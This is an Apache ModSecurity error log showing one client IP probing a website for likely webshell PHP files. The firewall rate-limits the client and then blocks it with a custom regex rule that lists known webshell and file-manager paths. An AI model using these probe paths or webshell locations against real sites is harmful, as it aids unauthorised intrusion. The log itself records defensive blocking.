[Sat Apr 18 04:45:57.734544 2026] [:error] [pid 9863:tid 9880] [client 51.120.90.220:27545] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeKcBTjjiypiFrTucbL36gAAAAc"]
[Sat Apr 18 04:45:58.263439 2026] [:error] [pid 9863:tid 9884] [client 51.120.90.220:21016] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byypas.php"] [unique_id "aeKcBjjjiypiFrTucbL37QAAAAs"]
[Sat Apr 18 04:45:59.039171 2026] [:error] [pid 9864:tid 9905] [client 51.120.90.220:21056] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeKcB4CFeowknfXHM7kbsAAAAEA"]
[Sat Apr 18 04:45:59.593576 2026] [:error] [pid 9864:tid 9918] [client 51.120.90.220:27637] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeKcB4CFeowknfXHM7kbsQAAAEw"]
[Sat Apr 18 04:46:00.155371 2026] [:error] [pid 9863:tid 9891] [client 51.120.90.220:27579] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeKcCDjjiypiFrTucbL39wAAABI"]
[Sat Apr 18 04:46:00.795090 2026] [:error] [pid 9865:tid 9951] [client 51.120.90.220:21020] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "aeKcCKzb5knECIY-C-iF0QAAAI4"]
[Sat Apr 18 04:46:01.368728 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:21068] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aeKcCSYdRLRhVmaIMx2X4gAAANQ"]
[Sat Apr 18 04:46:01.905399 2026] [:error] [pid 9970:tid 9991] [client 51.120.90.220:21005] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aeKcCSYdRLRhVmaIMx2X4wAAANE"]
[Sat Apr 18 04:46:02.442614 2026] [:error] [pid 9865:tid 9946] [client 51.120.90.220:21043] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aeKcCqzb5knECIY-C-iF0wAAAIk"]
[Sat Apr 18 04:46:02.962993 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:27559] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aeKcCiYdRLRhVmaIMx2X6gAAAMg"]
[Sat Apr 18 04:46:03.511281 2026] [:error] [pid 9865:tid 9938] [client 51.120.90.220:20966] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeKcC6zb5knECIY-C-iF1gAAAIE"]
[Sat Apr 18 04:46:04.049741 2026] [:error] [pid 9865:tid 9941] [client 51.120.90.220:21083] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeKcDKzb5knECIY-C-iF1wAAAIQ"]
[Sat Apr 18 04:46:04.570655 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:27581] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeKcDCYdRLRhVmaIMx2X8gAAANQ"]
[Sat Apr 18 04:46:05.094770 2026] [:error] [pid 9863:tid 9895] [client 51.120.90.220:27580] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aeKcDTjjiypiFrTucbL3-wAAABY"]
[Sat Apr 18 04:46:05.658197 2026] [:error] [pid 9863:tid 9878] [client 51.120.90.220:27562] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aeKcDTjjiypiFrTucbL3_AAAAAU"]
[Sat Apr 18 04:46:06.214880 2026] [:error] [pid 9863:tid 9886] [client 51.120.90.220:21108] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aeKcDjjjiypiFrTucbL3_wAAAA0"]
[Sat Apr 18 04:46:06.754403 2026] [:error] [pid 9863:tid 9873] [client 51.120.90.220:20998] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aeKcDjjjiypiFrTucbL4AQAAAAA"]
[Sat Apr 18 04:46:07.278691 2026] [:error] [pid 9863:tid 9879] [client 51.120.90.220:20931] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aeKcDzjjiypiFrTucbL4BAAAAAY"]
[Sat Apr 18 04:46:07.800166 2026] [:error] [pid 9970:tid 9986] [client 51.120.90.220:21018] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aeKcDyYdRLRhVmaIMx2YAgAAAMw"]
[Sat Apr 18 04:46:08.319889 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:27557] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aeKcECYdRLRhVmaIMx2YBwAAAMg"]
[Sat Apr 18 04:46:08.840214 2026] [:error] [pid 9864:tid 9915] [client 51.120.90.220:21099] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aeKcEICFeowknfXHM7kbtQAAAEk"]
[Sat Apr 18 04:46:09.367012 2026] [:error] [pid 9864:tid 9917] [client 51.120.90.220:20992] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/domains.php"] [unique_id "aeKcEYCFeowknfXHM7kbtgAAAEs"]
[Sat Apr 18 04:46:09.963683 2026] [:error] [pid 9865:tid 9950] [client 51.120.90.220:21076] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aeKcEazb5knECIY-C-iF2gAAAI0"]
[Sat Apr 18 04:46:10.484256 2026] [:error] [pid 9865:tid 9940] [client 51.120.90.220:21055] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aeKcEqzb5knECIY-C-iF3AAAAIM"]
[Sat Apr 18 04:46:11.055552 2026] [:error] [pid 9865:tid 9951] [client 51.120.90.220:21060] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aeKcE6zb5knECIY-C-iF4QAAAI4"]
[Sat Apr 18 04:46:11.585528 2026] [:error] [pid 9970:tid 9993] [client 51.120.90.220:21098] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aeKcEyYdRLRhVmaIMx2YFwAAANM"]
[Sat Apr 18 04:46:12.107132 2026] [:error] [pid 9970:tid 9988] [client 51.120.90.220:27551] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aeKcFCYdRLRhVmaIMx2YGgAAAM4"]
[Sat Apr 18 04:46:12.639765 2026] [:error] [pid 9865:tid 9939] [client 51.120.90.220:21117] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aeKcFKzb5knECIY-C-iF5AAAAII"]
[Sat Apr 18 04:46:13.221195 2026] [:error] [pid 9970:tid 9986] [client 51.120.90.220:21047] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aeKcFSYdRLRhVmaIMx2YIQAAAMw"]
[Sat Apr 18 04:46:13.870374 2026] [:error] [pid 9970:tid 9977] [client 51.120.90.220:21010] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aeKcFSYdRLRhVmaIMx2YKAAAAMM"]
[Sat Apr 18 04:46:14.459370 2026] [:error] [pid 9970:tid 9976] [client 51.120.90.220:21119] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeKcFiYdRLRhVmaIMx2YKQAAAMI"]
[Sat Apr 18 04:46:15.007911 2026] [:error] [pid 9970:tid 9983] [client 51.120.90.220:21028] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeKcFyYdRLRhVmaIMx2YLgAAAMk"]
[Sat Apr 18 04:46:15.557489 2026] [:error] [pid 9970:tid 9985] [client 51.120.90.220:21019] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeKcFyYdRLRhVmaIMx2YMQAAAMs"]
[Sat Apr 18 04:46:16.075090 2026] [:error] [pid 9865:tid 9947] [client 51.120.90.220:21017] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yw5bi63u.php"] [unique_id "aeKcGKzb5knECIY-C-iF5gAAAIo"]
[Sat Apr 18 04:46:16.614422 2026] [:error] [pid 9865:tid 9943] [client 51.120.90.220:21109] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKcGKzb5knECIY-C-iF6AAAAIY"]
[Sat Apr 18 04:46:17.204903 2026] [:error] [pid 9863:tid 9881] [client 51.120.90.220:21112] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKcGTjjiypiFrTucbL4CwAAAAg"]
[Sat Apr 18 04:46:17.729829 2026] [:error] [pid 9970:tid 9979] [client 51.120.90.220:21110] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKcGSYdRLRhVmaIMx2YMgAAAMU"]
[Sat Apr 18 04:46:18.252875 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:21012] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKcGiYdRLRhVmaIMx2YNAAAANQ"]
[Sat Apr 18 04:46:18.791313 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:21002] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aeKcGiYdRLRhVmaIMx2YNwAAAMg"]
[Sat Apr 18 04:46:19.341624 2026] [:error] [pid 9970:tid 9974] [client 51.120.90.220:21087] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aeKcGyYdRLRhVmaIMx2YPQAAAMA"]
[Sat Apr 18 04:46:19.872446 2026] [:error] [pid 9970:tid 9985] [client 51.120.90.220:21046] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aeKcGyYdRLRhVmaIMx2YQQAAAMs"]
[Sat Apr 18 04:46:20.394408 2026] [:error] [pid 9865:tid 9950] [client 51.120.90.220:27578] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws57.php"] [unique_id "aeKcHKzb5knECIY-C-iF6gAAAI0"]
[Sat Apr 18 04:46:20.913859 2026] [:error] [pid 9970:tid 9990] [client 51.120.90.220:21093] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aeKcHCYdRLRhVmaIMx2YRAAAANA"]
[Sat Apr 18 04:46:21.436102 2026] [:error] [pid 9864:tid 9913] [client 51.120.90.220:21073] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aeKcHYCFeowknfXHM7kbvgAAAEc"]
[Sat Apr 18 04:46:21.952693 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:27578] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aeKcHSYdRLRhVmaIMx2YRgAAANQ"]
[Sat Apr 18 04:46:22.548226 2026] [:error] [pid 9863:tid 9891] [client 51.120.90.220:21038] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8573.php"] [unique_id "aeKcHjjjiypiFrTucbL4EAAAABI"]
[Sat Apr 18 04:46:29.850111 2026] [:error] [pid 9970:tid 9994] [client 51.120.90.220:21022] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeKcJSYdRLRhVmaIMx2YdAAAANQ"]
[Sat Apr 18 04:46:30.368177 2026] [:error] [pid 9865:tid 9949] [client 51.120.90.220:21021] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeKcJqzb5knECIY-C-iGAAAAAIw"]
[Sat Apr 18 04:46:30.904315 2026] [:error] [pid 9865:tid 9944] [client 51.120.90.220:21011] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeKcJqzb5knECIY-C-iGAwAAAIc"]
[Sat Apr 18 04:46:31.422469 2026] [:error] [pid 9865:tid 9937] [client 51.120.90.220:21035] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi001.PhP7"] [unique_id "aeKcJ6zb5knECIY-C-iGBQAAAIA"]
[Sat Apr 18 04:46:31.946602 2026] [:error] [pid 9864:tid 9910] [client 51.120.90.220:20938] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aeKcJ4CFeowknfXHM7kbyQAAAEU"]
[Sat Apr 18 04:46:32.468759 2026] [:error] [pid 9863:tid 9874] [client 51.120.90.220:20948] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aeKcKDjjiypiFrTucbL4FAAAAAE"]
[Sat Apr 18 04:46:32.985047 2026] [:error] [pid 9863:tid 9882] [client 51.120.90.220:21114] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aeKcKDjjiypiFrTucbL4FQAAAAk"]
[Sat Apr 18 04:46:33.501721 2026] [:error] [pid 9970:tid 9986] [client 51.120.90.220:21086] [client 51.120.90.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mk.php"] [unique_id "aeKcKSYdRLRhVmaIMx2YfwAAAMw"]
[Sat Apr 18 04:46:34.025232 2026] [:error] [pid 9970:tid 9982] [client 51.120.90.220:21045] [client 51.120.90.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aeKcKiYdRLRhVmaIMx2YggAAAMg"]
